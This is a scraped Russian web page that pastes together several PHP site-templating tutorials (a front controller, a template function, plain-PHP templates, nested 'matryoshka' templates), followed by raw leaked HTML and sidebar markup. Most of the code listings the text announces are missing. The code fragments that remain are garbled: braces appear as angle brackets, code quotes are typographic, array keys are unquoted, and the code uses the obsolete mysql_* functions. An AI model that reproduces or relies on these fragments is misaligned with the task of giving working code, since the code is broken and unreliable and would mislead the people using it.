Шаблон сайта php простой

Создание PHP+MySQL сайта: от простого к сложному — шаг первый

Для создания перспективного, расширяемого и эффективного сайта любой сложности следует начинать с простого. Это процесс нелёгкий, требует определённых базовых знаний PHP и MySQL, но если его рассмотреть по пунктам — то можно составить своего рода «рабочий план», который пригодится при создании новых сайтов. Подготовим «ядро» и базу для проекта. Вначале это будет обычный сайт визитка, но потом, добавляя функционал, его можна превратить во что угодно. Итак, приступим.

1. Подготовка базы данных. Создаём первую таблицу в БД MySQL

Создаём новую базу данных, например «mysite». Лично я привык работать с кодировкой UTF-8, по-этому сразу оговорюсь: проследите, чтобы все текстовые файлы сайта, сама база, таблицы и поля таблиц были в одной кодировке.
В новой базе делаем таблицу. Назовём её «pages». В этой таблице будут храниться статические страницы будущего сайта и информация о них. Таблица должна содержать следующие поля:

Сразу после создания таблицы вставляем в неё значения для главной страницы сайта. В поле «page_alias» для главной страницы предлагаю вставить значение «home». Метатеги — соответственно тематике всего сайта. Таким же образом можно посоздавать другие страницы, например «О компании» с алиасом «about» и своими метатегами, или «Контакты» с алиасом «contacts» и т.д.

2. Создаём файл конфигурации сайта

function close() <
mysql_close($this->link);
>

Этот файл пока содержит только простой класс подключения к базе данных, но в дальнейшем в него можно добавлять разные полезные функции, которые будут доступны из любого места в коде сайта. Не забудьте изменить логин и пароль к Вашей базе.

Если Вы работаете в среде Windows, я могу порекоммендовать использовать редактор Notepad++. В этом редакторе есть нумерация строк, и он легко переводит текст из одной кодировки в другую. ВНИМАНИЕ! Если Вы работаете в кодировке UTF-8 — конвертируйте файлы в UTF-8 without BOM — это поможет избежать проблем в будущем.

3. Создаём index.php — главный контроллер сайта

Файл конфигурации создан. Теперь в корневой папке сайта создаём index.php — это и будет основной скрипт сайта, своего рода «главный контроллер». Содержание файла index.php:

// ГЛАВНЫЙ КОНТРОЛЛЕР
switch ($_GET[option]) <
case «page»:
include($_SERVER[DOCUMENT_ROOT].»/com/page.php»);
break;
default:
include($_SERVER[DOCUMENT_ROOT].»/com/home.php»);
break;
>

include ($_SERVER[DOCUMENT_ROOT].»/template.php»);
$db->close();

4. Создаём компонент вывода обычной страницы

Создаём в папке «com» файл «page.php». Содержимое файла следущее:

5. Создаём компонент вывода главной страницы

Главная страница у нас в базе данных хранится под псевдонимом «home», и пока по своей структуре не отличается от обычных страниц сайта — это просто статья. Тем не менее создадим для неё отдельный компонент — на перспективу, так сказать.

Содержимое компонента «home.php» в папке «com» почти совпадает с содержимым компонента обычной страницы, за исключением строки запроса к базе и названия компонента. Строка запроса теперь выглядит так:

$query = «SELECT * FROM wx_pages WHERE page_alias=’home’ LIMIT 1»;

6. Создаём шаблон дизайна всего сайта

В корневой папке также должны быть папки «css» и «images» для элементов дизайна. В файле /css/style.css — можно настроить стили по своему усмотрению.

RewriteEngine On
RewriteBase /

Источник

Шаблонизация в PHP

Шаблонизация — это работа по интеграции готовой, статичной вёрстки на сайт.
Ведя работу над сайтом, написанном на PHP, мы разрабатываем логику, которая управляет представлением.
Логика — это PHP-сценарии, где происходит объявление переменных, функций, использование массивов и циклов, получение и обработка информации.
Представление — это внешний вид сайта. Сюда входят его страницы, которые содержат общие элементы оформления (шапка, меню, подвал) и контент (страницы, статьи и тому подобное).

Имея на руках готовую вёрстку, надо правильно её внедрить в работающий сайт, чтобы в определённых местах страниц информация выводилась динамически, под контролем PHP-сценариев.

Что такое «шаблон» и причём тут рыба?

Шаблон — это готовая вёрстка страницы или блока, которая состоит только из оформления, и не содержит никакого контента (полезной информации).
Шаблон по своей сути — это обычный PHP-сценарий, который на 90% состоит из HTML-кода и только на 10% из PHP-конструкций. Основная задача программиста в процессе работы над сайтом — это превратить статичные HTML-страницы в динамичные PHP-шаблоны, которые будут использоваться для показа итоговых страниц.

Но если статичная вёрстка страниц не содержит динамического контента, то что будет на его месте до начала внедрения этих страниц? Когда дизайнер или верстальщик хотят показать как будет выглядеть страница на сайте, то вместо реального контента используется так называемая «рыба».
Рыба — это заполнитель. Бессмысленный текст, который используется в вёрстке, чтобы показать как будет выглядеть страница, наполненная контентом.

Проблемы типичного процесса вёрстки

Когда верстальщик работает над несколькими страницами, ему приходится копировать бол́ьшую часть HTML-кода между страницами, так как эти страницы содержат много повторяющихся элементов: подключение стилей, шапка сайта с логотипов, футер сайта, различные меню и тому подобное.
В результате, когда дело доходит до правок, то при необходимости поменять что-нибудь в той же шапке, это изменение нужно будет сделать во всех HTML-файлах, чтобы они выглядели одинаково. Конечно, такой мартышкин труд никому не понравится.

Общие фрагменты страниц сайта

Взглянув на страницы практически любого сайта, можно заметить их сходство друг с другом. Ведь все страницы состоят из общих частей, которые не меняются, а также из областей с уникальным содержимым. И как было бы удобно редактировать общие блоки, вроде шапки сайта, отдельно, а затем вкладывать их во все страницы. Тогда при смене логотипа потребуется внести изменение только в одном месте, а все страницы сайта обновятся автоматически.
Шаблонизация — это и есть деление всей вёрстки на независимые шаблоны и дальнейшее их подключение и вкладывание друг в друга.

Сбор страницы из частей

Если поделить всю вёрстку сайта на отдельные, небольшие шаблоны мы получим сразу несколько преимуществ. Станет легче следить за единообразием интерфейса. Выделив представление сайта в шаблоны, мы также существенно упростим PHP-сценарии, ведь в них останется только PHP-код. Можно даже доверить верстальщику редактировать непосредственно шаблоны, так как в них почти нет программного кода, а тот, что есть, очень простой.

Потренируйтесь собирать страницы из фрагментов, выполнив это задание.

Термины шаблонизации

В разговоре о шаблонизации очень важно придерживаться определённых терминов, чтобы всегда было понимание, о чём идёт речь. Договоримся использовать следующую терминологию:

Лейаут — это шаблон, который содержит HTML-код, общий для всех страниц сайта. В нём могут содержаться подключение стилей, мета-теги, шапка, подвал. Также лейаут содержит область для вставки уникального содержимого каждой страницы.

Шаблон страницы — это шаблон с уникальным для одной страницы HTML-кодом. Например, для главной страницы там может быть список новостей. Также шаблон страницы может включать в себя блоки.

Блок — это шаблон очень небольшого блока страницы. Например, это может быть один элемент списка новостей. Удобство блоков в том, один блок могут включать разные страницы.

Содержимое шаблона

Что же находится внутри шаблона? Вы уже знаете, что шаблон почти полностью состоит из HTML-кода. Но помимо HTML-тегов, там также лежат данные и простая логика.

Данные в шаблоне

Шаблон показывает динамическую информацию. Прилагательное «динамическая» означает, что эти данные могут меняться и показываться в зависимости от различных условий. Сама информация, как правило, хранится в базе данных, а PHP-сценарий извлекает её оттуда и передаёт в шаблон.
Вне зависимости от источника информации есть правило, которое никогда нельзя нарушать: любой шаблон (лейаут, шаблон страницы, блок) должен иметь доступ только к тем данным, которые ему явно передали.
Такую изоляцию данных обеспечивает специальная функция-шаблонизатор, о которой пойдёт речь далее.

Логика шаблона

В шаблоне должна находиться только несложная логика. Иными словами, шаблоны не содержат «тяжёлого» PHP-кода, а только простые конструкции.
Так, в шаблоне можно показывать переменные, использовать условия, циклы, обходить массивы, вызывать функции и подключать файлы. Всё другое запрещено. Оставшаяся бизнес-логика остаётся в PHP-сценариях, которые вызывают шаблоны и передают в них информацию.

Функция-шаблонизатор

Шаблонизатор — это функция, которая подключает файл шаблона, передаёт ему данные и возвращает сгенерированный HTML.
Именно шаблонизатор является тем клеем, что скрепляет воедино отдельные шаблоны в итоговую страницу. Работает он следующим образом: PHP-сценарий страницы выполяет все действия для подготовки необходимой информации, к примеру, запрашивает записи из базы данных. Эти записи в виде массива отправляются шаблонизатору вместе с именем шаблона страницы.
Шаблонизатор подключает указанный файл шаблона и передаёт туда всю информацию. Но, вместо вывода на экран содержимого этого шаблона, он захватывает получившийся HTML-код и возвращает его.
Затем сценарий вызывает шалбонизатор ещё раз, но теперь с его помощью подключает общий лейаут, куда отправляется общая информация, а также содержимое страницы, полученное из предыдущего шага. Весь результат работы выводится на экран.

Пример использования

Посмотрим на примере, как это всё работает. Начнём с того, что определим три шаблона: лейаут, шаблон страницы и какой нибудь блок.
Напоминаю, что в лейаут выносим общий HTML-код.
[layout.php]

Теперь очередь за шаблоном страницы:
[main.php]

Здесь обрати внимание, что шаблон страницы помимо интерации по массиву, для каждого его элемента вызывает функцию-шаблонизатор. Шаблонизатор получает контент из шаблона блока и показывает его внутри списка.

Источник

Шаблоны в PHP для чайников

И снова здравствуйте. Давно я как-то не писал ничего путного, даже как-то самому неприятно. Так что сразу к теме. Давайте, товарищи умники, забудем такие слова, как XML, XHTML и прочий X…, и поговорим о вещах, приближенных к реальности.

Сужествует такая «проблема», как разделение оформления и содержания, и отделение исполняемого кода от получаемого html’я. Мухи — там, котлеты — тут. Грубо говоря, программист программирует, дизайнер дизайнит и никто никому не мешает жить. А если надо поменять что-то в оформлении, то сделать это сможет один оформитель, сиречь дизайнер, самостоятельно.

PHP хорош (хорош, собака!) тем, что позволяет встраивать исполняемые конструкции прямо в html. Плюсы понятны. Минусы, например: довольно сложно менять оформление в таком коде: echo « «.$boldtext.» «; Глупый дизайнер испугается и убежит, а умный программист скажет «я вам не глупый дизайнер, чтобы ерундой заниматься».

Чего хочется в идеале? Чтобы была html-страница, где все, как у людей: здоровые, полноценные html-тэги, а в тех местах, где выводится информация, стояли специальные, простые, понятные как для верстальщика, так и для движка/программиста указатели.

То есть, что-то вроде такого:

Там, где стоит [TITLE], движок выводит заголовок, там, где [TEXT] — соответственно, текст.

Легко и просто. И все счастливы. И это правильно. Но! Тут и начинается маразм. Сначала пишется «движок шаблонов», что-то (я утрирую) вроде такого:

Дальше — больше. Оказывается, что в некоторых случаях этого мало. Нужно больше функций! Например, нам нужно проверять: если [TEXT] пустой, то выводить одно, если не пустой, то выводить другое, то есть, фактически, вводить уже минимальную логику отображения. И мы пишем супер-пупер наророченый язык шаблонов. На PHP. И называем его SMARTASS (Super Mega And Revolutionary Totally Automatized Shablon System).

До такой степени навороченный, что дизайнер, ради которого все затевалось, — чтобы тот смог сам менять оформления, уже не может сменить оформление пока специально не выучит язык шаблонов.

А теперь потрясем мозгами и хорошенько подумаем, что же у нас получилось. У нас получился фактически язык программирования, написанный на PHP, который можно встраивать в html-код и тем самым менять логику его (html-кода) отображения.

Поздравим друг друга. У нас получился PHP, написанный на PHP. Велосипед для велосипеда. Осмысление этого придет позже.

А теперь возвращаемся к первому примеру.

Помните? Сравним его со следующим примером и попробуем найти кардинальные различия.

То есть следующий пример php-страницы выведет все, как надо:

Дальше — больше. Выносим все шаблоны в отдельный файл. И пишем просто:

Ну что плохого в таком вот шаблоне страницы?

Плюсы — налицо. Для его вывода не нужно никаких дополнительных вещей. Кроме PHP.

Вот, собственно, и все.

PS. Уважаемые умники. Данный способ «шаблонизации» действительно покрывает 95% нужд простых смертных. Если вам что-то не нравится — идите, побрейтесь бритвой Оккама.

defavatar

Спасибо! Действительно коротко и ясно. Блин шарил интернет читал книжку принципы их понял а вот чтобы что-нить сделать. Спасибо автору за доступность!

defavatar

defavatar

А у меня так не работает

<br/>Зато работает так, как показано</p> <p>*ПХП на сервере есть</p> <p style="clear: both"><img onerror="this.src='https://biznessrussia.ru/wp-content/uploads/2021/04/roza_makro_kapli_129002_1280x720.jpg'" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="defavatar" title="Шаблон сайта php простой" data-lazy-src="https://www.internet-technologies.ru/wp-content/uploads/wpdiscuz/defavatar.png"><noscript><img onerror="this.src='https://biznessrussia.ru/wp-content/uploads/2021/04/roza_makro_kapli_129002_1280x720.jpg'" src="https://www.internet-technologies.ru/wp-content/uploads/wpdiscuz/defavatar.png" alt="defavatar" title="Шаблон сайта php простой"></noscript></p> <p style="clear: both"><img onerror="this.src='https://biznessrussia.ru/wp-content/uploads/2021/04/roza_makro_kapli_129002_1280x720.jpg'" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="defavatar" title="Шаблон сайта php простой" data-lazy-src="https://www.internet-technologies.ru/wp-content/uploads/wpdiscuz/defavatar.png"><noscript><img onerror="this.src='https://biznessrussia.ru/wp-content/uploads/2021/04/roza_makro_kapli_129002_1280x720.jpg'" src="https://www.internet-technologies.ru/wp-content/uploads/wpdiscuz/defavatar.png" alt="defavatar" title="Шаблон сайта php простой"></noscript></p> <p style="clear: both"><img onerror="this.src='https://biznessrussia.ru/wp-content/uploads/2021/04/roza_makro_kapli_129002_1280x720.jpg'" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="defavatar" title="Шаблон сайта php простой" data-lazy-src="https://www.internet-technologies.ru/wp-content/uploads/wpdiscuz/defavatar.png"><noscript><img onerror="this.src='https://biznessrussia.ru/wp-content/uploads/2021/04/roza_makro_kapli_129002_1280x720.jpg'" src="https://www.internet-technologies.ru/wp-content/uploads/wpdiscuz/defavatar.png" alt="defavatar" title="Шаблон сайта php простой"></noscript></p> <p>в шаблоне вывод текста лучше делать так:</p> <p style="clear: both"><img onerror="this.src='https://biznessrussia.ru/wp-content/uploads/2021/04/roza_makro_kapli_129002_1280x720.jpg'" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="defavatar" title="Шаблон сайта php простой" data-lazy-src="https://www.internet-technologies.ru/wp-content/uploads/wpdiscuz/defavatar.png"><noscript><img onerror="this.src='https://biznessrussia.ru/wp-content/uploads/2021/04/roza_makro_kapli_129002_1280x720.jpg'" src="https://www.internet-technologies.ru/wp-content/uploads/wpdiscuz/defavatar.png" alt="defavatar" title="Шаблон сайта php простой"></noscript></p> <p>А что делать с кавычками в контенте?</p> <p style="clear: both"><img onerror="this.src='https://biznessrussia.ru/wp-content/uploads/2021/04/roza_makro_kapli_129002_1280x720.jpg'" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="defavatar" title="Шаблон сайта php простой" data-lazy-src="https://www.internet-technologies.ru/wp-content/uploads/wpdiscuz/defavatar.png"><noscript><img onerror="this.src='https://biznessrussia.ru/wp-content/uploads/2021/04/roza_makro_kapli_129002_1280x720.jpg'" src="https://www.internet-technologies.ru/wp-content/uploads/wpdiscuz/defavatar.png" alt="defavatar" title="Шаблон сайта php простой"></noscript></p> <p style="clear: both"><img onerror="this.src='https://biznessrussia.ru/wp-content/uploads/2021/04/roza_makro_kapli_129002_1280x720.jpg'" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="defavatar" title="Шаблон сайта php простой" data-lazy-src="https://www.internet-technologies.ru/wp-content/uploads/wpdiscuz/defavatar.png"><noscript><img onerror="this.src='https://biznessrussia.ru/wp-content/uploads/2021/04/roza_makro_kapli_129002_1280x720.jpg'" src="https://www.internet-technologies.ru/wp-content/uploads/wpdiscuz/defavatar.png" alt="defavatar" title="Шаблон сайта php простой"></noscript></p> <p style="clear: both"><img onerror="this.src='https://biznessrussia.ru/wp-content/uploads/2021/04/roza_makro_kapli_129002_1280x720.jpg'" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="defavatar" title="Шаблон сайта php простой" data-lazy-src="https://www.internet-technologies.ru/wp-content/uploads/wpdiscuz/defavatar.png"><noscript><img onerror="this.src='https://biznessrussia.ru/wp-content/uploads/2021/04/roza_makro_kapli_129002_1280x720.jpg'" src="https://www.internet-technologies.ru/wp-content/uploads/wpdiscuz/defavatar.png" alt="defavatar" title="Шаблон сайта php простой"></noscript></p> <p><a href="http://www.internet-technologies.ru/articles/shablony-v-php-dlya-chaynikov.html" target="_blank" rel="noopener">Источник</a></p> <h2 id="kak-samostoyatelno-sdelat-sayt-na-php">Как самостоятельно сделать сайт на PHP?</h2> <h2 id="php-i-html">PHP и HTML</h2> <p style="clear: both"><img onerror="this.src='https://biznessrussia.ru/wp-content/uploads/2021/04/roza_makro_kapli_129002_1280x720.jpg'" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="php i html 230655" title="Шаблон сайта php простой" data-lazy-src="https://www.internet-technologies.ru/wp-content/uploads/articles/201412/php-i-html-230655.jpg"><noscript><img onerror="this.src='https://biznessrussia.ru/wp-content/uploads/2021/04/roza_makro_kapli_129002_1280x720.jpg'" src="https://www.internet-technologies.ru/wp-content/uploads/articles/201412/php-i-html-230655.jpg" alt="php i html 230655" title="Шаблон сайта php простой"></noscript></p> <p style="clear: both"><img onerror="this.src='https://biznessrussia.ru/wp-content/uploads/2021/04/roza_makro_kapli_129002_1280x720.jpg'" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="prosmotr html stranici 230656" title="Шаблон сайта php простой" data-lazy-src="https://www.internet-technologies.ru/wp-content/uploads/articles/201412/prosmotr-html-stranici-230656.jpg"><noscript><img onerror="this.src='https://biznessrussia.ru/wp-content/uploads/2021/04/roza_makro_kapli_129002_1280x720.jpg'" src="https://www.internet-technologies.ru/wp-content/uploads/articles/201412/prosmotr-html-stranici-230656.jpg" alt="prosmotr html stranici 230656" title="Шаблон сайта php простой"></noscript></p> <p>Как видно на скриншоте, строка не отображается в html коде страницы. И в браузере, и в коде видны лишь возвращенные дата и время. А это значит, что скрипт был обработан на серверной стороне. Поэтому создание сайта на php кардинально отличается от написания простых html страниц.</p> <h3 id="dinamicheskiy-sayt">Динамический сайт</h3> <p>Современные сайты бывают двух основных типов:</p> <p>Динамический сайт на php состоит из следующих файлов:</p> <h3 id="kak-pishetsya-sayt-na-php">Как пишется сайт на PHP</h3> <p>Имеется html сайт со следующей структурой и дизайном:</p> <p style="clear: both"><img onerror="this.src='https://biznessrussia.ru/wp-content/uploads/2021/04/roza_makro_kapli_129002_1280x720.jpg'" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="ait so sledujushei strukt 230700" title="Шаблон сайта php простой" data-lazy-src="https://www.internet-technologies.ru/wp-content/uploads/articles/201412/ait-so-sledujushei-strukt-230700.jpg"><noscript><img onerror="this.src='https://biznessrussia.ru/wp-content/uploads/2021/04/roza_makro_kapli_129002_1280x720.jpg'" src="https://www.internet-technologies.ru/wp-content/uploads/articles/201412/ait-so-sledujushei-strukt-230700.jpg" alt="ait so sledujushei strukt 230700" title="Шаблон сайта php простой"></noscript></p> <p>Код файла style.css :</p> <p>Перед тем, как написать сайт на php до конца, весь html код нужно раскинуть по нескольким файлам:</p> <p>А если просмотреть в браузере html код страницы, то вы увидите код первоначального исходника:</p> <p style="clear: both"><img onerror="this.src='https://biznessrussia.ru/wp-content/uploads/2021/04/roza_makro_kapli_129002_1280x720.jpg'" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="od pervonachalnogo ishodn 230704" title="Шаблон сайта php простой" data-lazy-src="https://www.internet-technologies.ru/wp-content/uploads/articles/201412/od-pervonachalnogo-ishodn-230704.jpg"><noscript><img onerror="this.src='https://biznessrussia.ru/wp-content/uploads/2021/04/roza_makro_kapli_129002_1280x720.jpg'" src="https://www.internet-technologies.ru/wp-content/uploads/articles/201412/od-pervonachalnogo-ishodn-230704.jpg" alt="od pervonachalnogo ishodn 230704" title="Шаблон сайта php простой"></noscript></p> <p>Конечно, этот вариант подходит лишь для генерации основной страницы сайта. Но если код боковушки убрать в отдельный файл, тогда шаблон можно использовать и для генерации внутренних страниц сайта.</p> <h3 id="put-v-obhod">Путь в обход</h3> <p>Но такая разработка сайта требует затраты сил, наличия специализированного программного обеспечения и знаний. Поэтому хотелось бы найти более легкий вариант. Тогда следует воспользоваться конструктором php сайтов.</p> <p style="clear: both"><img onerror="this.src='https://biznessrussia.ru/wp-content/uploads/2021/04/roza_makro_kapli_129002_1280x720.jpg'" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="a5ru 230707" title="Шаблон сайта php простой" data-lazy-src="https://www.internet-technologies.ru/wp-content/uploads/articles/201412/a5ru-230707.png"><noscript><img onerror="this.src='https://biznessrussia.ru/wp-content/uploads/2021/04/roza_makro_kapli_129002_1280x720.jpg'" src="https://www.internet-technologies.ru/wp-content/uploads/articles/201412/a5ru-230707.png" alt="a5ru 230707" title="Шаблон сайта php простой"></noscript></p> <p>С более подробным обзором популярных онлайн-конструкторов сайтов можно ознакомиться здесь. В интернете встречаются и десктопные версии конструкторов сайтов, но большая их часть платная.</p> <p>Но генерация страниц ресурса происходит в них динамически. Наиболее популярные CMS :</p> <p><a href="http://www.internet-technologies.ru/articles/newbie/kak-samostoyatelno-sdelat-sayt-na-php.html" target="_blank" rel="noopener">Источник</a></p> <h2 id="php-matryoshki-ili-shablony-dlya-lyubogo">PHP-Матрёшки или Шаблоны для любого сайта из 8 строчек</h2> <p>Я расскажу о своих шаблонах (из восьми строчек), которые придумал в 2003 году и с тех пор они меня не подводили и не требовали каких-либо улучшений.</p> <p>Суть шаблонов – это принцип матрешки, когда маленькая матрёшка — это часть той что побольше. <br/>На практике это выглядит так: мы указываем имя первого пхп-шаблона, внутри которого прописываем имя вышестоящего шаблона, который, в свою очередь, также может указать на своего пхп-родителя и т.д.</p> <p style="clear: both"><img onerror="this.src='https://biznessrussia.ru/wp-content/uploads/2021/04/roza_makro_kapli_129002_1280x720.jpg'" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="image loader" title="Шаблон сайта php простой" data-lazy-src="https://habr.com/img/image-loader.svg"><noscript><img onerror="this.src='https://biznessrussia.ru/wp-content/uploads/2021/04/roza_makro_kapli_129002_1280x720.jpg'" src="https://habr.com/img/image-loader.svg" alt="image loader" title="Шаблон сайта php простой"></noscript></p> <p>Где, main.tpl – это имя файла первого пхп-шаблона, а функция load::integration() содержит механизм, который позволяет обрабатывать указанный шаблон. А конкретнее, он позволяет нам прописывать в шаблоне main.tpl, другой шаблон, например default.tpl, в который будет вложен результат выполнения mail.tpl. В свою очередь default.tpl, также может указать вышестоящий шаблон (как изображено на рисунке). Если же вышестоящих шаблонов не указано, то функция load::integration() остановит сборку шаблонов и отдаст общий результат выполнения всех шаблонов в браузер.</p> <p>Далее я расскажу как все работает и дам ссылку скачать код.</p> <p>Данная схема работает благодаря тому что перед началом обработки каждой странички на сервере (в данном случае стартового файла index.php) мы прописываем для пхп, что прежде чем выполнять какой-либо скрипт, нужно предварительно загрузить указанный нами файл. Делается это в файле /home/start.local/www/.htaccess одной строчкой, вот так:</p> <p>В данном случае, у меня указан файл config.mdl для удобства. Вот его содержание:</p> <p>Таким образом класс load ( /home/start.local/bin/lib/load.cls ) и его функция load::integration() с помощью файла config.mdl становятся предварительно загруженными для всех скриптов.</p> <p>Посмотрим в код класса load:</p> <p>Теперь посмотрим на код нашего шаблона main.tpl</p> <p>Посмотрим на код шаблона default.tpl</p> <p>Теперь посмотрим на ссылки в меню нашего сайта которые записаны в default.tpl, например</p> <p>Здесь в атрибуте href тега a вместо ссылки, указано, что нужно напечатать результат выполнения функции create::file() класса create.</p> <p>Суть работы этой функции очень проста – создать файл по указанному пути (это первый параметр – ‘/news/’ ) и записать внутри него вызов первого шаблона (это второй параметр ‘page.tpl’ ).</p> <p>Т.е. по указанному пути будет располагаться стартовый шаблон page.tpl, обработка которого будет аналогична рассмотренному main.tpl.</p> <p>Про условие if() в шаблоне default.tpl я рассказывать не буду, т.к. это на логику шаблонов не влияет, а относится чисто к дизайну сайта и не более того.</p> <p>Такой техникой я пишу сайты на чистом пхп уже 8 лет и горя не знаю. <br/>Нужен раздел с индивидуальным дизайном? В два счета делаю новый шаблон и подключаю туда другой дизайн. <br/>Нужно добавить форму на сайт? Делаю форму в отдельном шаблоне и подключаю её с помощью механизма шаблонов или обычной require_once вставкой.</p> <p>Конечно, у меня накопилось не мало разных сопутствующих классов и функций: для работы с базой данных, или формами, или письмами. Но суть в том, что вы можете просто брать и легко использовать как свои наработки, так и подключать сторонние библиотеки к <b>пхп-матрёшкам</b>. Это будет работать благодаря всего лишь 8 строчкам. Без выпиливаний, натягивания и плясок с бубном.</p> <p>Надеюсь мой опыт пригодиться и сослужит хорошую службу. Например, в ситуации когда, вам необходимо доказать, что вы это сделать можете, но в рамках какой-то сиэмэс просто не знаете как этого добиться.</p> <p>PS. <br/>В следующей статье я расскажу, что для управления базой данных сайта можно использовать просто phpMyAdmin, который умеет работать со связанными таблицами, т.е. вы не просто меняете айдишник в связанном поле, но вы одновременно можете видеть полноценные связанные данные из связанных таблиц, которые стоят за этим айдишником.</p> <p><a href="http://habr.com/ru/post/126980/" target="_blank" rel="noopener">Источник</a></p> <div class="flat_pm_end"></div> </div> </article> <div class="entry-tags"><a href="https://biznessrussia.ru/tag/dacha" class="entry-tag">дача</a> <a href="https://biznessrussia.ru/tag/dom" class="entry-tag">дом</a> <a href="https://biznessrussia.ru/tag/postroit" class="entry-tag">построить</a> <a href="https://biznessrussia.ru/tag/remont" class="entry-tag">ремонт</a> <a href="https://biznessrussia.ru/tag/stroitelstvo" class="entry-tag">строительство</a> <a href="https://biznessrussia.ru/tag/stroyka" class="entry-tag">стройка</a> </div> <div class="entry-social"> <div class="social-buttons"><span class="social-button social-button--vkontakte" data-social="vkontakte" data-image="https://biznessrussia.ru/wp-content/uploads/2021/04/para_zakat_more_pticy_54484_1280x720-150x150.jpg"></span><span class="social-button social-button--facebook" data-social="facebook"></span><span class="social-button social-button--telegram" data-social="telegram"></span><span class="social-button social-button--odnoklassniki" data-social="odnoklassniki"></span><span class="social-button social-button--twitter" data-social="twitter"></span><span class="social-button social-button--sms" data-social="sms"></span><span class="social-button social-button--whatsapp" data-social="whatsapp"></span></div> </div> <meta itemprop="author" content="admin"> <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://biznessrussia.ru/dom-i-dacha/shablon-sayta-php-prostoy.html" content="Шаблон сайта php простой"> <meta itemprop="dateModified" content="2021-10-13"> <meta itemprop="datePublished" content="2021-09-24T23:27:43+00:00"> <div itemprop="publisher" itemscope itemtype="https://schema.org/Organization" style="display: none;"><div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject"><img itemprop="url image" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Справочник по обустройству дома и дачи" data-lazy-src="https://biznessrussia.ru/wp-content/uploads/2021/04/pole_trava_derevia_182678_1280x720.jpg"><noscript><img itemprop="url image" src="https://biznessrussia.ru/wp-content/uploads/2021/04/pole_trava_derevia_182678_1280x720.jpg" alt="Справочник по обустройству дома и дачи"></noscript></div><meta itemprop="name" content="Справочник по обустройству дома и дачи"><meta itemprop="telephone" content="Справочник по обустройству дома и дачи"><meta itemprop="address" content="https://biznessrussia.ru"></div> </main> </div> <aside id="secondary" class="widget-area" itemscope itemtype="http://schema.org/WPSideBar"> <div class="sticky-sidebar js-sticky-sidebar"> <div id="search-2" class="widget widget_search"> <form role="search" method="get" class="search-form" action="https://biznessrussia.ru/"> <label> <span class="screen-reader-text">Search for:</span> <input type="search" class="search-field" placeholder="Поиск…" value="" name="s"> </label> <button type="submit" class="search-submit"></button> </form></div><div id="categories-3" class="widget widget_categories"><div class="widget-header">Рубрики</div> <ul> <li class="cat-item cat-item-3"><a href="https://biznessrussia.ru/dom-i-dacha">Дом и дача</a> </li> <li class="cat-item cat-item-1"><a href="https://biznessrussia.ru/sad-i-ogorod">Сад и огород</a> </li> </ul> </div> <div id="recent-posts-2" class="widget widget_recent_entries"> <div class="widget-header">Свежие записи</div> <ul> <li> <a href="https://biznessrussia.ru/sad-i-ogorod/yaytsa-na-zimu-konservatsiya.html">яйца на зиму консервация</a> </li> <li> <a href="https://biznessrussia.ru/sad-i-ogorod/yablochnyy-uksus-chem-mozhno-zamenit-pri-konservatsii.html">яблочный уксус чем можно заменить при консервации</a> </li> <li> <a href="https://biznessrussia.ru/sad-i-ogorod/yablochnyy-uksus-pri-konservirovanii-pomidor.html">яблочный уксус при консервировании помидор</a> </li> <li> <a href="https://biznessrussia.ru/sad-i-ogorod/yablochnyy-uksus-mozhno-ispolzovat-dlya-konservatsii-ogurtsov.html">яблочный уксус можно использовать для консервации огурцов</a> </li> <li> <a href="https://biznessrussia.ru/sad-i-ogorod/yablochnyy-uksus-dlya-konservirovaniya-vmesto-obychnogo-mozhno-li-ispolzovat.html">яблочный уксус для консервирования вместо обычного можно ли использовать</a> </li> </ul> </div><div id="custom_html-2" class="widget_text widget widget_custom_html"><div class="textwidget custom-html-widget"> <div class="flat_side_1"></div></div></div> </div> </aside> <div id="related-posts" class="related-posts fixed"><div class="related-posts__header">Вам также может понравиться</div><div class="post-cards post-cards--vertical"> <div class="post-card post-card--related"> <div class="post-card__thumbnail"><a href="https://biznessrussia.ru/dom-i-dacha/cherez-skolko-chasov-nastupaet-pohmele.html"><img width="335" height="220" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20335%20220'%3E%3C/svg%3E" class="attachment-reboot_small size-reboot_small wp-post-image" alt="deti para druzia 154578 1280x720" loading="lazy" title="через сколько часов наступает похмелье" data-lazy-src="https://biznessrussia.ru/wp-content/uploads/2021/04/deti_para_druzia_154578_1280x720-335x220.jpg"><noscript><img width="335" height="220" src="https://biznessrussia.ru/wp-content/uploads/2021/04/deti_para_druzia_154578_1280x720-335x220.jpg" 